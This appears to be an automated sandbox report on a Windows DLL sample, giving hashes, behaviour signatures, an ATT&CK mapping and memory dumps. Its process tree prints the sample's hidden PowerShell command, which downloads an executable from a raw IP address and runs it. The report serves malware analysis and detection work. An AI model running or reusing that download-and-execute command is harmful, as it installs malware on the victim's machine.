623afd3e2835f4a6b597f7aeec9301521778e3f82365d745e81de37f800bd1b7

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
12-05-2024 12:01

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General

Target

Sh1t.dll
Size

12.3MB
MD5

8d1e6c16a13ef1b1d8d681d6aa920e67
SHA1

1f061ab5845a9ab887f1f1367016fc9600517e08
SHA256

623afd3e2835f4a6b597f7aeec9301521778e3f82365d745e81de37f800bd1b7
SHA512

b8052b50d8c7b25bacd4831417a83e6e40d351c712071f3cdceb167e498037e88e5b219646090a8f09e0b0246204432d5e28e1b644a640af332acf11d3ae35a6
SSDEEP

196608:Hf8xXyVKVap/Xq/pefvyKEpb6O9DNe23Nn1cRTi+VVYAePVeRgUQWoWzUB+:/f1tqBefvTOhg0GrVY78oR0

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2392	powershell.exe
2392	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2856	rundll32.exe
2856	rundll32.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2856	rundll32.exe
2392	powershell.exe
2856	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2856 wrote to memory of 2392	2856	rundll32.exe	28
PID 2856 wrote to memory of 2392	2856	rundll32.exe	28
PID 2856 wrote to memory of 2392	2856	rundll32.exe	28

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\Sh1t.dll,#1
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -command Invoke-WebRequest -Uri 'http://5.42.80.34/gm2.exe' -OutFile '1.exe'; Start-Process '1.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2392-18-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2392-19-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2856-0-0x000007FEF3E98000-0x000007FEF45C9000-memory.dmp

Filesize
7.2MB

Download
memory/2856-10-0x00000000779E0000-0x00000000779E2000-memory.dmp

Filesize
8KB

Download
memory/2856-11-0x000007FEF3E90000-0x000007FEF5213000-memory.dmp

Filesize
19.5MB

Download
memory/2856-8-0x00000000779E0000-0x00000000779E2000-memory.dmp

Filesize
8KB

Download
memory/2856-6-0x00000000779E0000-0x00000000779E2000-memory.dmp

Filesize
8KB

Download
memory/2856-5-0x00000000779D0000-0x00000000779D2000-memory.dmp

Filesize
8KB

Download
memory/2856-3-0x00000000779D0000-0x00000000779D2000-memory.dmp

Filesize
8KB

Download
memory/2856-1-0x00000000779D0000-0x00000000779D2000-memory.dmp

Filesize
8KB

Download
memory/2856-12-0x000007FEF3E90000-0x000007FEF5213000-memory.dmp

Filesize
19.5MB

Download
memory/2856-13-0x000007FEF3E90000-0x000007FEF5213000-memory.dmp

Filesize
19.5MB

Download